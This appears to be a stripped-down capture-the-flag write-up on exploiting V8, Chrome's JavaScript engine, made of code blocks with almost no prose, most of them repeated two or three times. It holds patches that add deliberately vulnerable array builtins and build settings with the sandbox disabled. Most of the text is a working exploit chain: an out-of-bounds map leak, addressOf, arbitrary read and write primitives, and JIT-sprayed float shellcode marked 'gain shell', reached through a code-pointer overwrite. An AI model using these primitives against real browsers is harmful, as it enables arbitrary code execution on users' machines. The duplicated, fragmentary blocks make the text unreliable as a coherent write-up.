    fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100);
    return Number(f64_to_u64(fake_obj[0]));
}
 
function cage_write(addr,val){
    fake_array[1] = lh_u32_to_f64(addr-8+1,0x100);
    fake_obj[0] = u64_to_f64(val);
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = cage_read(shellcode_addr+0xc) >> 32;
var ins_base = cage_read(code_addr-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6b);
 
cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))
 
 
// stop();
shellcode();
 
// spin();
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
➜  release cat args.gn     
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
➜  release cat args.gn     
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
autoninja -C out/release d8
autoninja -C out/release d8
+ArrayPrototypeSetLength(
+  js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+    try {
+      const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;
+      const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;
+      array.length = len;
+    } label ErrorLabel {
+        Print("Nope");
+    }
+    return receiver;
+}
+}
+ArrayPrototypeSetLength(
+  js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+    try {
+      const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;
+      const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;
+      array.length = len;
+    } label ErrorLabel {
+        Print("Nope");
+    }
+    return receiver;
+}
+}
diff --git a/BUILD.gn b/BUILD.gn
index c0192593c4a..83e264723f7 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1889,6 +1889,7 @@ if (v8_postmortem_support) {
 }
  
 torque_files = [
+  "src/builtins/array-setlength.tq",
   "src/builtins/aggregate-error.tq",
   "src/builtins/array-at.tq",
   "src/builtins/array-concat.tq",
diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tq
new file mode 100644
index 00000000000..4a2a864af44
--- /dev/null
+++ b/src/builtins/array-setlength.tq
@@ -0,0 +1,14 @@
+namespace array {
+transitioning javascript builtin
+ArrayPrototypeSetLength(
+  js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+    try {
+      const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;
+      const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;
+      array.length = len;
+    } label ErrorLabel {
+        Print("Nope");
+    }
+    return receiver;
+}
+}
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..f3379ac47ec 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
                           array_function, DONT_ENUM);
  
+    SimpleInstallFunction(isolate_, proto, "setLength",
+                          Builtin::kArrayPrototypeSetLength, 1, true);
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
     SimpleInstallFunction(isolate_, proto, "concat",
diff --git a/BUILD.gn b/BUILD.gn
index c0192593c4a..83e264723f7 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1889,6 +1889,7 @@ if (v8_postmortem_support) {
 }
  
 torque_files = [
+  "src/builtins/array-setlength.tq",
   "src/builtins/aggregate-error.tq",
   "src/builtins/array-at.tq",
   "src/builtins/array-concat.tq",
diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tq
new file mode 100644
index 00000000000..4a2a864af44
--- /dev/null
+++ b/src/builtins/array-setlength.tq
@@ -0,0 +1,14 @@
+namespace array {
+transitioning javascript builtin
+ArrayPrototypeSetLength(
+  js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+    try {
+      const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;
+      const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;
+      array.length = len;
+    } label ErrorLabel {
+        Print("Nope");
+    }
+    return receiver;
+}
+}
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..f3379ac47ec 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
                           array_function, DONT_ENUM);
  
+    SimpleInstallFunction(isolate_, proto, "setLength",
+                          Builtin::kArrayPrototypeSetLength, 1, true);
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
     SimpleInstallFunction(isolate_, proto, "concat",
var array = new Array(0x1000).fill(1.1)
var rw_array = new Array(0x1000).fill(2.2);
 
array.setLength(0x10000);
 
var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));
var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));
 
logg("double_array_map",double_map_addr)
logg("double_prototype_addr",double_prototype_addr)
var array = new Array(0x1000).fill(1.1)
var rw_array = new Array(0x1000).fill(2.2);
 
array.setLength(0x10000);
 
var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));
var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));
 
logg("double_array_map",double_map_addr)
logg("double_prototype_addr",double_prototype_addr)
var rw_array = new Array(0x1000).fill(2.2);
var obj = {array,rw_array};
 
// 方法2
rw_array.setLength(0x10000);
var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));
var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));
 
logg("obj_map_addr",obj_map_addr)
logg("obj_prototype_addr",obj_prototype_addr)
var rw_array = new Array(0x1000).fill(2.2);
var obj = {array,rw_array};
 
// 方法2
rw_array.setLength(0x10000);
var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));
var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));
 
logg("obj_map_addr",obj_map_addr)
logg("obj_prototype_addr",obj_prototype_addr)
function addressOf(object){
    rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    obj[0] = object;
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    return u64_to_u32_lo(f64_to_u64(obj[0]));
}
function addressOf(object){
    rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    obj[0] = object;
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    return u64_to_u32_lo(f64_to_u64(obj[0]));
}
function AAR(addr){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    return f64_to_u64(obj[0]);
}
function AAR(addr){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    return f64_to_u64(obj[0]);
}
function AAW(addr,val){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // let lo = Number(BigInt(val) & 0xffffffffn);
    // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn);
    // logg("lo",lo);
    // logg("hi",hi);
    // obj[0] = lh_u32_to_f64(lo,hi);
    obj[0] = u64_to_f64(val);
}
function AAW(addr,val){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // let lo = Number(BigInt(val) & 0xffffffffn);
    // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn);
    // logg("lo",lo);
    // logg("hi",hi);
    // obj[0] = lh_u32_to_f64(lo,hi);
    obj[0] = u64_to_f64(val);
}
var shellcode_addr = addressOf(shellcode);
var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;
var ins_base = AAR(Number(code_addr)-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6bn);
 
AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))
 
shellcode();
var shellcode_addr = addressOf(shellcode);
var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;
var ins_base = AAR(Number(code_addr)-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6bn);
 
AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))
 
shellcode();
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
function u32_to_f32(val){
    u32[0] = val;
    return f32[0];
}
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 10000; i++){
    shellcode();
}
 
// js_heap_defragment();
var tag = 1;
var array = new Array(0x1000).fill(1.1)
var rw_array = new Array(0x1000).fill(2.2);
var obj = {array,rw_array};
 
array.setLength(0x10000);
 
 
// p(array);
// p(rw_array);
// p(obj);
 
 
var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));
var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));
 
// // 方法1
// var obj_map_addr = u64_to_u32_lo(f64_to_u64(array[0x2805]));
// var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x2805]));
 
// 方法2
rw_array.setLength(0x10000);
var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));
var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));
 
logg("double_array_map",double_map_addr)
logg("double_prototype_addr",double_prototype_addr)
 
logg("obj_map_addr",obj_map_addr)
logg("obj_prototype_addr",obj_prototype_addr)
 
 
function addressOf(object){
    rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    obj[0] = object;
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    return u64_to_u32_lo(f64_to_u64(obj[0]));
}
 
function AAR(addr){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    return f64_to_u64(obj[0]);
}
 
function AAW(addr,val){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // let lo = Number(BigInt(val) & 0xffffffffn);
    // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn);
    // logg("lo",lo);
    // logg("hi",hi);
    // obj[0] = lh_u32_to_f64(lo,hi);
    obj[0] = u64_to_f64(val);
}
 
// p(shellcode);
var shellcode_addr = addressOf(shellcode);
var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;
var ins_base = AAR(Number(code_addr)-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6bn);
 
AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))
 
// stop();
shellcode();
 
 
 
 
// spin();
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
function u32_to_f32(val){
    u32[0] = val;
    return f32[0];
}
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 10000; i++){
    shellcode();
}
 
// js_heap_defragment();
var tag = 1;
var array = new Array(0x1000).fill(1.1)
var rw_array = new Array(0x1000).fill(2.2);
var obj = {array,rw_array};
 
array.setLength(0x10000);
 
 
// p(array);
// p(rw_array);
// p(obj);
 
 
var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));
var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));
 
// // 方法1
// var obj_map_addr = u64_to_u32_lo(f64_to_u64(array[0x2805]));
// var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x2805]));
 
// 方法2
rw_array.setLength(0x10000);
var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));
var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));
 
logg("double_array_map",double_map_addr)
logg("double_prototype_addr",double_prototype_addr)
 
logg("obj_map_addr",obj_map_addr)
logg("obj_prototype_addr",obj_prototype_addr)
 
 
function addressOf(object){
    rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    obj[0] = object;
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    return u64_to_u32_lo(f64_to_u64(obj[0]));
}
 
function AAR(addr){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    return f64_to_u64(obj[0]);
}
 
function AAW(addr,val){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // let lo = Number(BigInt(val) & 0xffffffffn);
    // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn);
    // logg("lo",lo);
    // logg("hi",hi);
    // obj[0] = lh_u32_to_f64(lo,hi);
    obj[0] = u64_to_f64(val);
}
 
// p(shellcode);
var shellcode_addr = addressOf(shellcode);
var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;
var ins_base = AAR(Number(code_addr)-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6bn);
 
AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))
 
// stop();
shellcode();
 
 
 
 
// spin();
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
➜  release cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
➜  release
➜  release cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
➜  release
autoninja -C out/release d8
autoninja -C out/release d8
+BUILTIN(ArrayOffByOne) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));
+  }
+
+  if (args.length() > 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Too many arguments")));
+  }
+  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {
+    Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return *(isolate->factory()->NewNumber(elements->get_scalar(len)));
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      if (!IsNumber(*value)) {
+        THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+          factory->NewStringFromAsciiChecked("Need a number argument")));
+      }
+      double num = static_cast<double>(Object::NumberValue(*value));
+      elements->set(len, num);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  } else {
+    Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return elements->get(len);
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      elements->set(len, *value);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  }
+}
+BUILTIN(ArrayOffByOne) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));
+  }
+
+  if (args.length() > 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Too many arguments")));
+  }
+  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {
+    Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return *(isolate->factory()->NewNumber(elements->get_scalar(len)));
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      if (!IsNumber(*value)) {
+        THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+          factory->NewStringFromAsciiChecked("Need a number argument")));
+      }
+      double num = static_cast<double>(Object::NumberValue(*value));
+      elements->set(len, num);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  } else {
+    Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return elements->get(len);
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      elements->set(len, *value);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  }
+}
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..4ed66c8113f 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -407,6 +407,52 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
  
+BUILTIN(ArrayOffByOne) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));
+  }
+
+  if (args.length() > 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Too many arguments")));
+  }
+  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {
+    Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return *(isolate->factory()->NewNumber(elements->get_scalar(len)));
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      if (!IsNumber(*value)) {
+        THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+          factory->NewStringFromAsciiChecked("Need a number argument")));
+      }
+      double num = static_cast<double>(Object::NumberValue(*value));
+      elements->set(len, num);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  } else {
+    Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);
+    if (args.length() == 1) {  // read mode
+      return elements->get(len);
+    } else {  // write mode
+      Handle<Object> value = args.at(1);
+      elements->set(len, *value);
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+  }
+}
+
 namespace {
  
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..8a0bd959a29 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -394,6 +394,7 @@ namespace internal {
       ArraySingleArgumentConstructor)                                          \
   TFC(ArrayNArgumentsConstructor, ArrayNArgumentsConstructor)                  \
   CPP(ArrayConcat)                                                             \
+  CPP(ArrayOffByOne)                                                           \
   /* ES6 #sec-array.prototype.fill */                                          \
   CPP(ArrayPrototypeFill)                                                      \
   /* ES7 #sec-array.prototype.includes */                                      \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..ce31f92b876 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+  case Builtin::kArrayOffByOne:
+    return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
